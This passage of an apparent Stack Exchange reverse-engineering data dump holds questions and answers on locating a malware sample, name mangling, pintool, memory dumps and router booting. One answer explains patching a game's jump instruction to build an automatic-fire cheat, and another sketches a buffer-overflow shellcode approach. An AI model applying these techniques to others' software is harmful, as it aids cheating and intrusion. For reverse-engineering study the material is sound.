  <row Id="19297" PostTypeId="1" CreationDate="2018-09-09T08:51:10.763" Score="0" ViewCount="251" Body="&lt;p&gt;I am trying to find for analysis the &lt;code&gt;scuinst.exe&lt;/code&gt; binary (R2D2 aka Bundestrojaner), but I can not find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find this binary?&lt;/p&gt;&#xA;" OwnerUserId="25600" LastEditorUserId="60" LastEditDate="2018-09-10T19:47:44.390" LastActivityDate="2018-09-10T19:47:44.390" Title="Finding a specific malware sample" Tags="|malware|" AnswerCount="1" CommentCount="1" ClosedDate="2018-09-16T18:54:43.787" ContentLicense="CC BY-SA 4.0" />
  <row Id="19298" PostTypeId="1" AcceptedAnswerId="25212" CreationDate="2018-09-09T11:44:13.967" Score="5" ViewCount="190" Body="&lt;p&gt;I have a few SPARC binaries that have been compiled with what seems to be the SunPro CC compiler. The symbols in the binary are referring to a very early C++ implementation (pre-namespaces) and look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;__0oHistreamrsRUl.&#xA;__0oHistreamrsRi.&#xA;__0oHistreamrsRf.&#xA;__0oKistrstreamdtv.&#xA;__0oHistreamrsPc.&#xA;__0oKistrstreamctPCc.&#xA;__0oNIostream_initdtv.&#xA;__0oNIostream_initctv.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at these, I'm guessing that they correspond to the following methods:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;istream::operator &amp;gt;&amp;gt;(unsigned long);&#xA;istream::operator &amp;gt;&amp;gt;(int);&#xA;istream::operator &amp;gt;&amp;gt;(float);&#xA;istream::~istream();&#xA;istream::operator &amp;gt;&amp;gt;(char *);&#xA;istream::operator(const char *);&#xA;ostream_init::~ostream_init();&#xA;ostream_init::ostream_init();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To make further progress, I want to understand the mangling scheme used here, but my Google-fu is too weak. Where can I find documentation on the name mangling scheme used here?&lt;/p&gt;&#xA;" OwnerUserId="12260" LastActivityDate="2020-06-04T22:18:49.767" Title="Where can I find documentation for the name mangling scheme used by SunPro CC" Tags="|c++|sparc|name-mangling|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19299" PostTypeId="2" ParentId="19297" CreationDate="2018-09-09T15:47:37.157" Score="3" Body="&lt;p&gt;A simple search revealed that it can be found on VirusTotal by searching for md5sum &lt;code&gt;309ede406988486bf81e603c514b4b82&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.virustotal.com/#/file/021da2f5e892265cafd1642a44fe258ee56cf6e1393f6e0dc79add99fed1f15f/detection&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.virustotal.com/#/file/021da2f5e892265cafd1642a44fe258ee56cf6e1393f6e0dc79add99fed1f15f/detection&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information refer to the following articles:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.f-secure.com/weblog/archives/00002250.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.f-secure.com/weblog/archives/00002250.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.f-secure.com/weblog/archives/00002249.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.f-secure.com/weblog/archives/00002249.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.evild3ad.com/1136/volatility-memory-forensics-federal-trojan-aka-r2d2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.evild3ad.com/1136/volatility-memory-forensics-federal-trojan-aka-r2d2/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2018-09-09T19:55:27.483" LastActivityDate="2018-09-09T19:55:27.483" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19302" PostTypeId="2" ParentId="19298" CreationDate="2018-09-10T07:54:16.960" Score="2" Body="&lt;p&gt;You should be able to use &lt;code&gt;c++filt&lt;/code&gt; directly. Pay attention to not use the one from &lt;code&gt;binutils&lt;/code&gt;. Make sure to use the right install path, eg:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;/opt/SolarisStudio/solarisstudio12.3/prod/bin/c++filt&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2018-09-10T07:54:16.960" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19303" PostTypeId="1" CreationDate="2018-09-10T09:07:56.873" Score="1" ViewCount="171" Body="&lt;p&gt;I have an hex dump of the 256k of my arduino mega's flash memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not understand where is the bootloader. I see at 0x0000 address an interupt vector for reset but i do not understand how the bootloaders jumps to the main program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to identity &lt;code&gt;setup()&lt;/code&gt; and &lt;code&gt;loop()&lt;/code&gt; functions addresses?&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="245" LastEditDate="2018-09-12T07:33:14.577" LastActivityDate="2018-09-12T07:33:14.577" Title="Reversing Arduino mega bytecode" Tags="|arduino|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19306" PostTypeId="2" ParentId="2176" CreationDate="2018-09-10T12:58:05.460" Score="3" Body="&lt;p&gt;First Find the address you are looking for. Then cycle this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find the base (the beginning of the record).&lt;/li&gt;&#xA;&lt;li&gt;Dissect the memory around this to recognize array or linked list.&lt;/li&gt;&#xA;&lt;li&gt;Search the memory for pointer to that base.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scan for parameter finding the address &lt;code&gt;30000032&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find out the base of this record is &lt;code&gt;30000000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking memory - nothing fancy around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding pointer to the base at &lt;code&gt;20000004&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find out the base of the record is &lt;code&gt;20000000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking memory - still nothing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding pointer to the base at &lt;code&gt;10000008&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finding out the base is &lt;code&gt;10000000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking memory - all pointers to objects I am looking for are 12 bytes away from each other. (Obviously this is some sort of collection.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last memory scan for pointer to make sure I am not wrong at &lt;code&gt;0000040&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find pointer to that collection, and right after it: count of the objects in the collection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Restart the game/computer few times to find a consistent pointer to that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reward myself with a beer for the good work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to find the base&lt;/strong&gt;: I like to use the &quot;pointer scan&quot;, and check the last offset. The smallest from the most commonly found, is usually the correct one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes, I am trying to find a record, at the beginning of allocated memory, and in this case I am sure something is base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another trick is to find two one after another in memory, determine their &quot;max size&quot;, and this means the base must be no further than this number back in the memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How to recognize collections&lt;/strong&gt;: Most of them are EXTREMELY organized, with specific offset, or have pointers to same type of objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like if you have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Pointer to Player 1 data,&#xA;4 Bytes&#xA;4 Bytes&#xA;Pointer to Player 2 data,&#xA;4 Bytes&#xA;4 Bytes&#xA;Pointer to Player 3 data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should ring a bell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that such alignment may randomly happen in the source, so try to search for: Player 3 data, Player 3 data +/- 4, Player 3 data +/- 8. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, if you find something like this, you are most likely really close.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works for me, hope it works for you guys too.&lt;/p&gt;&#xA;" OwnerUserId="25609" LastEditorUserId="20928" LastEditDate="2018-09-10T13:30:19.777" LastActivityDate="2018-09-10T13:30:19.777" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19307" PostTypeId="2" ParentId="15310" CreationDate="2018-09-10T20:47:53.853" Score="1" Body="&lt;p&gt;Others have already described elegant ways of doing this, so I'll post a dirty (but very versatile) trick: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the binary in a hex editor and replace the first two bytes of the function you want to debug with EB FE (a jump to itself). Run the binary normally (e.g. start the service) and once the process starts consuming 100% CPU (well, 100% of one core), attach the debugger, put a break point at your little infinite loop, hit run, patch in the original bytes and you're ready to debug. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's really ugly and quite impractical, but it will work with everything from DLLs to drivers. &lt;/p&gt;&#xA;" OwnerUserId="24983" LastActivityDate="2018-09-10T20:47:53.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19309" PostTypeId="1" AcceptedAnswerId="19311" CreationDate="2018-09-11T20:57:09.723" Score="2" ViewCount="1595" Body="&lt;p&gt;Look at this very basic c program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;    for (int i=0;i&amp;lt;0x42;i++)&#xA;    {&#xA;        asm(&quot;nop&quot;);&#xA;        asm(&quot;nop&quot;);&#xA;    }&#xA;    return 0x42;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have compiled it without any optimisations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this with radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|       ,=&amp;lt; 0x00001130      eb06           jmp 0x1138&#xA;|       |   ; JMP XREF from 0x0000113c (main)&#xA;|      .--&amp;gt; 0x00001132      90             nop&#xA;|      :|   0x00001133      90             nop&#xA;|      :|   0x00001134      8345fc01       add dword [local_4h], 1&#xA;|      :|   ; JMP XREF from 0x00001130 (main)&#xA;|      :`-&amp;gt; 0x00001138      837dfc41       cmp dword [local_4h], 0x41  ; [0x41:4]=0x4000000 ; 'A'&#xA;|      `==&amp;lt; 0x0000113c      7ef4           jle 0x1132&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The 2 nops instructions will be runned 0x42 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i want to do is to understand how i can log all program instructions with pin tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have wrote a very basic tool for pin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;pin.H&quot;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;VOID callback_instruction(INS ins, VOID *v)&#xA;{&#xA;    printf(&quot;%lx\t%s\n&quot;, INS_Address(ins),INS_Disassemble(ins).c_str());&#xA;}&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;    if (PIN_Init(argc,argv))&#xA;    {&#xA;        printf(&quot;Erreur\n&quot;);&#xA;        return 0;&#xA;    }&#xA;&#xA;    INS_AddInstrumentFunction(callback_instruction, 0);&#xA;    PIN_StartProgram();&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is something i do not understand. callback_instruction should be called before each instructions.&#xA;So i should see 0x42*2 times the nop instruction.&#xA;Or i can see it only twice times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not understand why pintool just disassemble my program instead of running it instruction by instruction...&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="245" LastEditDate="2018-09-12T07:27:59.517" LastActivityDate="2018-09-12T07:27:59.517" Title="I want to trace all instructions with pintool. Strange behaviour" Tags="|pintool|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19311" PostTypeId="2" ParentId="19309" CreationDate="2018-09-12T06:39:26.547" Score="4" Body="&lt;p&gt;I think you might have confused &lt;code&gt;INS_AddInstrumentFunction&lt;/code&gt; with a tracing callback. In your case the callback supplied to &lt;code&gt;INS_AddInstrumentFunction&lt;/code&gt; is &lt;code&gt;callback_instruction&lt;/code&gt;. Pin calls &lt;code&gt;callback_instruction&lt;/code&gt; every time a new instruction is encountered, not on every execution of an instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably not what you want to achieve. Here's the code that suits your case. You need to register a callback which is executed on every execution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;pin.H&quot;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;VOID dump_nop(UINT64 insAddr, std::string insDis) {&#xA;  printf(&quot;%lx\t%s\n&quot;, insAddr, insDis.c_str());&#xA;}&#xA;&#xA;VOID callback_instruction(INS ins, VOID *v) {&#xA;&#xA;  if (INS_IsNop(ins)) {&#xA;    INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)dump_nop, IARG_ADDRINT,&#xA;                   INS_Address(ins), IARG_PTR, new string(INS_Disassemble(ins)),&#xA;                   IARG_END);&#xA;  }&#xA;}&#xA;&#xA;int main(int argc, char *argv[]) {&#xA;  if (PIN_Init(argc, argv)) {&#xA;    printf(&quot;Erreur\n&quot;);&#xA;    return 0;&#xA;  }&#xA;&#xA;  INS_AddInstrumentFunction(callback_instruction, 0);&#xA;  PIN_StartProgram();&#xA;&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2018-09-12T07:05:34.123" LastActivityDate="2018-09-12T07:05:34.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19312" PostTypeId="1" CreationDate="2018-09-12T07:29:58.710" Score="2" ViewCount="47" Body="&lt;p&gt;Look at this very basic C program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int main()&#xA;{&#xA;    printf(&quot;Hello world\n&quot;);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now look at this very basic pintool:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;pin.H&quot;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;VOID callback_instruction(INS ins, VOID *v)&#xA;{&#xA;    printf(&quot;%lx\t%s\n&quot;, INS_Address(ins),INS_Disassemble(ins).c_str());&#xA;}&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;    if (PIN_Init(argc,argv))&#xA;    {&#xA;        printf(&quot;Erreur\n&quot;);&#xA;        return 0;&#xA;    }&#xA;&#xA;    INS_AddInstrumentFunction(callback_instruction, 0);&#xA;    PIN_StartProgram();&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is what is printed by this pintool:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;....&#xA;55ef42b84139    lea rdi, ptr [rip+0xec4]&#xA;55ef42b84140    call 0x55ef42b84030&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is what i get in radare2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|           0x00001135      55             push rbp&#xA;|           0x00001136      4889e5         mov rbp, rsp&#xA;|           0x00001139      488d3dc40e00.  lea rdi, str.Hello_world    ; 0x2004 ; &quot;Hello world&quot;&#xA;|           0x00001140      e8ebfeffff     call sym.imp.puts           ; int puts(const char *s)&#xA;|           0x00001145      b800000000     mov eax, 0&#xA;|           0x0000114a      5d             pop rbp&#xA;\           0x0000114b      c3             ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, radare2 is able to display in comments the value of the strings (Hello world) and the imported function names (puts). My question is: Is it possible to do the same thing with pintool ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="18590" LastActivityDate="2018-09-12T09:22:59.733" Title="pintool add metadata like radare2" Tags="|pintool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19313" PostTypeId="2" ParentId="19312" CreationDate="2018-09-12T07:58:18.183" Score="3" Body="&lt;p&gt;Sure, it’s possible but you’ll have to implement the logic for it yourself: check the instruction type/operands, fetch the referred memory, try to detect if it looks like a string and so on. For function names, you'll need to parse the symbol table of the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no ready to use pintool that does this (AFAIK). &lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2018-09-12T09:22:59.733" LastActivityDate="2018-09-12T09:22:59.733" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19314" PostTypeId="2" ParentId="19296" CreationDate="2018-09-12T09:07:04.307" Score="1" Body="&lt;p&gt;I don't know what you're trying to accomplish here, but you can overwrite* &lt;code&gt;pass&lt;/code&gt; to correct second if statement as you did accidentally on the picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are determined to use shellcode, find a memory area you can continuously overflow your input and use that address to replace &lt;em&gt;BBBB&lt;/em&gt;.  Another option is returning to a Windows API; then you must correctly set arguments before calling function and bypass ASLR.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;* Since some compilers can place buffers immediately after return value, I assume &lt;code&gt;pass&lt;/code&gt; variable stored higher addresses than &lt;code&gt;buff&lt;/code&gt; and you overwrote it.&lt;/p&gt;&#xA;" OwnerUserId="18804" LastEditorUserId="18804" LastEditDate="2018-09-12T09:14:18.490" LastActivityDate="2018-09-12T09:14:18.490" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19315" PostTypeId="1" CreationDate="2018-09-12T09:17:59.047" Score="1" ViewCount="976" Body="&lt;p&gt;How do I find out which process has sent TCP/IP network packet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there some tools that can easily do this? Like in Linux.&lt;/p&gt;&#xA;" OwnerUserId="25633" LastActivityDate="2018-09-13T09:30:27.350" Title="Windows : Which process sent TCP/IP packet?" Tags="|windows|networking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19317" PostTypeId="1" CreationDate="2018-09-12T13:11:46.533" Score="0" ViewCount="218" Body="&lt;p&gt;What is the easiest way to track all changes before and after a specific function is executed.&#xA;I know I can trace instruction but that may yield a long list of all command executed.&#xA;I want to stop the debugger before a function is executed and compare with the changes after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can it be accomplished?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&lt;/p&gt;&#xA;" OwnerUserId="25313" LastActivityDate="2018-10-12T17:00:31.870" Title="Monitor all changes done by function" Tags="|ida|patch-reversing|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19318" PostTypeId="2" ParentId="19317" CreationDate="2018-09-12T14:07:42.700" Score="1" Body="&lt;p&gt;Set hooks at all memory allocation functions, mark all writeable memory pages as guard pages. Handle all the STATUS_GUARD_PAGE_VIOLATION exceptions caused by the code when it tries to write.&lt;/p&gt;&#xA;" OwnerUserId="22324" LastActivityDate="2018-09-12T14:07:42.700" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19319" PostTypeId="2" ParentId="19317" CreationDate="2018-09-12T14:41:52.587" Score="0" Body="&lt;p&gt;Let's assume You only need to see the changes, and not to understand what they are and how/why they were made&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start process under debugger and run to the specific start of the function. Put breakpoint on the end of function as well  Suspend all other threads. &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Perform full process memory dump&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.1 For windows - use windbg command  &lt;code&gt;.writemem c:\output\start_address.dmp start_address end_address&lt;/code&gt;. Or use  procdump: &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/procdump&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/sysinternals/downloads/procdump&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.2 For linux - use &lt;code&gt;cat /dev/[pid]/maps&lt;/code&gt; and then from GDB make dumps: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;dump memory /output/memory_start_address start_address end_address&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run to the end of function, perform [2] again in another directory&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Compare between two dumps to see all the changes [Notepad++]&lt;/li&gt;&#xA;&lt;li&gt;If needed - confirm your findings with RE of the function. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Good luck&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D.L.&lt;/p&gt;&#xA;" OwnerUserId="1334" LastEditorUserId="1334" LastEditDate="2018-09-12T16:23:09.240" LastActivityDate="2018-09-12T16:23:09.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19321" PostTypeId="2" ParentId="19251" CreationDate="2018-09-12T17:38:32.263" Score="2" Body="&lt;p&gt;It sounds to me like your problem is the code in VS, not what you've found through reversing. The beginning of the function there doesn't seem to matter in accordance to what you're trying to do. Correct me if I'm wrong, but it sounds to me like you're thinking you have to find your way to the beginning of the function so that you can then figure out how far into the function you need to go to change what you want to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's an understandable train of thought given your level of experience. (If that's what you're thinking, that is; I'm making an assumption to craft a reply based on.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, what you want to do is luckily very easy (relatively speaking) since all you want to do is directly change bytes. Given that, what you generally need to do is find a direct reference to the memory address that the bytes/instructions of interest are stored in. Let's break down what that means for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the line you have highlighted in the screenshot:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00463716 75 09 JNZ SHORT ac_clien.00463721&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;00463716&lt;/strong&gt;: This is a memory address. It's where your bytes of interest are stored. This is where you'll want to find your way to in your program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;75 09 JNZ SHORT ac_clien.00463721&lt;/strong&gt;: &lt;code&gt;75 09&lt;/code&gt; and &lt;code&gt;JNZ SHORT ac_clien.00463721&lt;/code&gt; are the same thing. The bytes, &lt;code&gt;75 09&lt;/code&gt;, are hexadecimal. They are a concise representation of binary sequences that the CPU understands. Why not just show the binary numbers directly instead of in hexadecimal? Well, let's look at what 75 09 is in binary: &lt;code&gt;111010100001001&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now imagine seeing all binary in that column in OllyDbg, as opposed to hexadecimal. Not only is it unwieldy, but with some instructions, the numbers would take up a ridiculous amount of space in the row. Also, it's much easier for you, the human reader, to know &lt;a href=&quot;https://c9x.me/x86/html/file_module_x86_id_146.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;what byte 75 means&lt;/a&gt; as opposed to bits &lt;code&gt;1110101&lt;/code&gt;, which is what the CPU ultimately understands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The assembly instruction that you see in English (&lt;code&gt;JNZ SHORT ac_clien.00463721&lt;/code&gt;) is an even further distillation for us to be able to easily read the instruction. You see that and you know it says &quot;jump a short distance to memory address ac_clien.00463721 if the &lt;a href=&quot;https://www.csee.umbc.edu/courses/undergraduate/CMSC211/summer02/burt/tech_help/flags.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;zero flag&lt;/a&gt; is not set&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in the case of the instruction we're working with here, bits &lt;code&gt;1110101&lt;/code&gt; is the same value as hex &lt;code&gt;75&lt;/code&gt; is the same thing as &lt;code&gt;JNZ&lt;/code&gt;. They're just different ways of representing the same thing, mostly for our sake so we don't have to try to read a bunch of 1s and 0s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bearing that in mind, you know that changing &lt;code&gt;JNZ&lt;/code&gt; to &lt;code&gt;JMP&lt;/code&gt; gives you automatic weapon fire. Thus, your program needs to find the memory address that byte is stored in (which, per the screenshot, is &lt;code&gt;463716&lt;/code&gt;, but may change upon restart). Then your program needs to write a new byte that you want. The byte you want for &lt;code&gt;JMP&lt;/code&gt; in this case is &lt;code&gt;EB&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you have everything you need for coding up an application. This is where my help stops and your external research begins, because now you're in the territory of forward engineering (the reverse engineering process is completed). Are you trying to code your hack in C, C++, Visual C++, C#, or otherwise? Your choice of language will directly inform the approach you take for programmatically finding the game's process, opening it, finding its base address, then writing your byte to the correct offset therefrom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where 'X' is your programming language of choice, questions like, &quot;How do I find the base address of a game or program in X&quot;; &quot;How do I find the process ID of a game or program in X&quot;; &quot;How do I write bytes to a memory address in X&quot;, and so forth should lead you down the right path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, since you're hacking Assault Cube, I recommend signing up over on &lt;a href=&quot;http://guidedhacking.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Guided Hacking forum&lt;/a&gt; and inquiring there. They've used that game specifically as a target for countless tutorials of theirs over the years, and there are a lot of very experienced programmers who can help you through the basics, including learning about all the things you don't even know to ask about right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-09-12T17:38:32.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19322" PostTypeId="1" CreationDate="2018-09-12T20:39:19.370" Score="2" ViewCount="131" Body="&lt;p&gt;Currently, I am debugging a CLI application that requires a lot of big inputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I change the default /usr/bin/xterm in edb to something like /bin/bash?&lt;/p&gt;&#xA;" OwnerUserId="25640" LastActivityDate="2018-09-12T21:10:51.770" Title="EDB /usr/bin/xterm" Tags="|debuggers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19323" PostTypeId="2" ParentId="19322" CreationDate="2018-09-12T21:10:51.770" Score="3" Body="&lt;p&gt;Option &gt; Preferences &gt; Debugging &gt; Command Line IO&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RwPFV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RwPFV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25640" LastActivityDate="2018-09-12T21:10:51.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19324" PostTypeId="1" AcceptedAnswerId="25922" CreationDate="2018-09-12T22:15:58.727" Score="3" ViewCount="795" Body="&lt;p&gt;I'm trying to gain a root access to my ZTE F680 router. I already have a serial connection and able to interrupt the U-Boot autoboot. The problem I'm having is understanding how given the following environment, is U-Boot able to boot Linux whereas when I try to run the same commands in its shell it fails. The environment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CASset=max&#xA;EMAC=EMAC0&#xA;MACMODE=GMII&#xA;MALLOC_len=5&#xA;MPmode=SMP&#xA;amp_enable=no&#xA;autoload=no&#xA;baudrate=115200&#xA;boot_order=hd_scr hd_img pxe net_img net_scr&#xA;bootargs_dflt=$console $mtdparts $bootargs_root nfsroot=$serverip:$rootpath ip=$ipaddr:$serverip$bootargs_end $mvNetConfig video=dovefb:lcd0:$lcd0_params clcd.lcd0_enable=$lcd0_enable clcd.lcd_panel=$lcd_panel&#xA;bootargs_end=:10.4.50.254:255.255.255.0:AvantaLP:eth0:none&#xA;bootargs_root=root=/dev/nfs rw&#xA;bootcmd=setenv bootargs console=ttyS0,115200 root=/dev/ram0 rw load_ramdisk=1 rdinit=/sbin/init mv_switch_config=none memsize=$(memsize) mem=$(memsize); bootm 